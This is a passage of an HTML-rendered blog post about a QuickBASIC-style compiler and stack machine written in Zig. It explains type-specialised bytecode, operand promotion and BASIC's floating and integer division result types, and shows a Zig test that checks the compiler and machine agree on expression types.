&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;OPERATOR_MULTIPLY&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0xd1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #cdd6f4;&quot;&gt;OPERATOR_NEGATE&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;0xd2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// [...]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For the binary operations, the stack machine would pop off two elements, and then
look at the types of those elements to determine how to add them. This is easy to
do in Zig, but this is giving our core a lot of work to do — especially when we
consider how extensive the rules involved are:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/typeconversions.png&quot; alt=&quot;Screenshot of QuickBASIC 4.5 open to the “Type Conversions” help page. It’s scrolled some way down and yet the screen is full of text describing how operands are converted to the same degree of precision, and further how result types may affect that.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ideally, the executing machine doesn’t &lt;em&gt;ever&lt;/em&gt; need to check the type of a value
on the stack before doing something with it — the bytecode itself can describe
whatever needs to happen instead.&lt;/p&gt;
&lt;p&gt;In other words, when compiling this&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-highlighting&quot; id=&quot;fnref-highlighting&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;42&lt;/span&gt;       &amp;#39; &lt;span style=&quot;color: #f9e2af;&quot;&gt;This&lt;/span&gt; is &lt;span style=&quot;color: #cdd6f4;&quot;&gt;an&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;INTEGER&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;32768&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;32767&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;32800&lt;/span&gt;    &amp;#39; &lt;span style=&quot;color: #f9e2af;&quot;&gt;This&lt;/span&gt; is &lt;span style=&quot;color: #cdd6f4;&quot;&gt;a&lt;/span&gt; &lt;span style=&quot;color: #89b4fa;&quot;&gt;LONG&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2147483648&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;..&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2147483647&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;-&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt;  &amp;#39; This should result in &lt;span style=&quot;color: #f38ba8;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;32758&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;  &lt;span style=&quot;color: #cdd6f4;&quot;&gt;A&lt;/span&gt; smaller &lt;span style=&quot;color: #cdd6f4;&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;%&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;would&lt;/span&gt; result in overflow&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #89dceb;&quot;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;… instead of having an op stream like this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;PUSH_IMM_INTEGER&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;42&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;LET&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;PUSH_IMM_LONG&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;32800&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;LET&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;PUSH_VARIABLE&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;PUSH_VARIABLE&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;OPERATOR_SUBTRACT     &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// runtime determines it must promote RHS and do LONG subtraction&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;CAST_INTEGER          &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// runtime determines it has a LONG to demote&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;LET&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;— and so leaving the runtime environment to decide when to promote, or demote,
or coerce, and when to worry about under/overflow — we instead have this:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;PUSH_IMM_INTEGER&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;42&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;LET&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;PUSH_IMM_LONG&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;32800&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;LET&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;PUSH_VARIABLE&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;PUSH_VARIABLE&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;PROMOTE_INTEGER_LONG     &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// compiler knows we&amp;#39;re about to do LONG subtraction&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;OPERATOR_SUBTRACT_LONG
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;COERCE_LONG_INTEGER      &lt;span style=&quot;color: #9399b2; font-style: italic;&quot;&gt;// compiler knows we&amp;#39;re assigning to an INTEGER&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;LET&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #fab387;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A proliferation of opcodes results, but crucially it means most operations
execute unconditionally, resulting in a far simpler design when it comes to
putting this on a chip.&lt;/p&gt;
&lt;p&gt;The upshot of this design, however, is that the compiler needs a far greater degree
of awareness and ability:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;It needs to be aware of what types the arguments to the binary operation are.&lt;/p&gt;
&lt;p&gt;In the example above, we have a LONG and an INTEGER. This appears trivial, but
we need to keep in mind that the arguments can be arbitrary expressions.&lt;/p&gt;
&lt;p&gt;We need this in order to determine the opcode that gets emitted for the
operation, and to know if any operand reconciliation is necessary.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It needs to be able to reconcile different types of operands, where necessary.&lt;/p&gt;
&lt;p&gt;BASIC’s rules here are simple: we coerce the lesser-precision
value to the greater precision. In effect the rule is
INTEGER &lt; LONG &lt; SINGLE &lt; DOUBLE.&lt;/p&gt;
&lt;p&gt;STRING is not compatible with any other type — there’s no &lt;nobr&gt;&lt;code&gt;“x” * 3 = “xxx”&lt;/code&gt;&lt;/nobr&gt; here.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It needs to be aware of what type a binary operation’s result will be in.&lt;/p&gt;
&lt;p&gt;I started out with the simple rule that the result will be of the same type
of the (reconciled) operands. This worked fine when I just had addition,
subtraction and multiplication; above, we add a LONG and an INTEGER, the INTEGER
gets promoted to a LONG, and the result is a LONG.&lt;/p&gt;
&lt;p&gt;Division broke this assumption, and resulted in the motivation for this
write-up.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It needs to be able to pass that information up the compilation stack.&lt;/p&gt;
&lt;p&gt;Having calculated the result is a LONG, we need to return that information to
the procedure that compiled this expression, as it may make decisions based
on what’s left on the stack after evaluating it — such as in the first
dot-point here, or when assigning to a variable (which may be of any type, and
so require a specific coercion).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This all kind of Just Worked, right up until I implemented division. I
discovered QuickBASIC actually has floating &lt;em&gt;and&lt;/em&gt; integer division! Young me
was not aware of the backslash “&lt;code&gt;\&lt;/code&gt;” operator (or any need for it, I suppose).
Floating division always returns a floating-point number, even when the inputs
are integral. Integer division always returns an integral, even when the inputs
are floating. The precision of the types returned in turn depends on that of the
input types.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;right&quot;&gt;operands&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;fdiv “&lt;code&gt;/&lt;/code&gt;”&lt;/th&gt;
&lt;th align=&quot;right&quot;&gt;idiv “&lt;code&gt;\&lt;/code&gt;”&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;INTEGER&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;SINGLE&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;INTEGER&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;LONG&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;DOUBLE&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;LONG&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;SINGLE&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;SINGLE&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;INTEGER&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;right&quot;&gt;DOUBLE&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;DOUBLE&lt;/td&gt;
&lt;td align=&quot;right&quot;&gt;LONG&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;center&gt;&lt;em&gt;Output types of each division operation given (reconciled) input type.&lt;/em&gt;&lt;/center&gt;&lt;/p&gt;
&lt;p&gt;This presented a problem for the existing compiler, which assumed the result
would be the same type of the operands: having divided two INTEGERs, for
example, the bytecode emitted &lt;em&gt;assumed&lt;/em&gt; there would be an INTEGER left on the
stack, and so further emitted code would carry that assumption.&lt;/p&gt;
&lt;p&gt;Upon realising how division was supposed to work, the first place I made the
change was in the actual stack machine: correct the behaviour by performing
floating division when floating division was asked for, regardless of the
operand type. Thus dividing two INTEGERs pushed a SINGLE. The (Zig) machine then
promptly asserted upon hitting any operation on that value at all, expecting an
INTEGER there instead. (The future gateware implementation would probably not
assert, and instead produce confusing garbage.)&lt;/p&gt;
&lt;p&gt;And so opened up a new kind of bug to look out for: a mismatch between (a)
the assumptions made by the compiler about the effects on the stack of the
operations it was emitting, and (b) the actual effects on the stack produced by
those operations running on the stack machine.&lt;/p&gt;
&lt;p&gt;Rather than just some isolated tests (though short of creating some whole
contract interface between compiler and machine — maybe later), why not be
thorough while using the best witness for behaviour there is? Namely, the
compiler and stack machine themselves:&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-zig&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #cba6f7;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a6e3a1;&quot;&gt;&amp;quot;compiler and stack machine agree on binop expression types&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;std&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;tags&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Expr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Op&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;op&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;        &lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;std&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;tags&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ty&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;tyLhs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;            &lt;span style=&quot;color: #cba6f7;&quot;&gt;for&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;std&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;meta&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;tags&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;ty&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Type&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color: #eba0ac;&quot;&gt;tyRhs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;|&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;var&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cba6f7;&quot;&gt;try&lt;/span&gt; &lt;span style=&quot;color: #f9e2af;&quot;&gt;Compiler&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;testing&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;allocator&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #fab387;&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;defer&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;deinit&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;                &lt;span style=&quot;color: #cba6f7;&quot;&gt;const&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;compilerTy&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;c&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;compileExpr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;binop&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;                    &lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;lhs&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Expr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Expr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Payload&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;oneImm&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;tyLhs&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;                    &lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;op&lt;/span&gt; &lt;span style=&quot;color: #89dceb;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #cdd6f4;&quot;&gt;loc&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;WithRange&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #f9e2af;&quot;&gt;Expr&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;Op&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #89b4fa;&quot;&gt;init&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #cdd6f4;&quot;&gt;op&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #9399b2;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #9399b2;&quot;&gt;)&lt;/span&gt;&lt;span 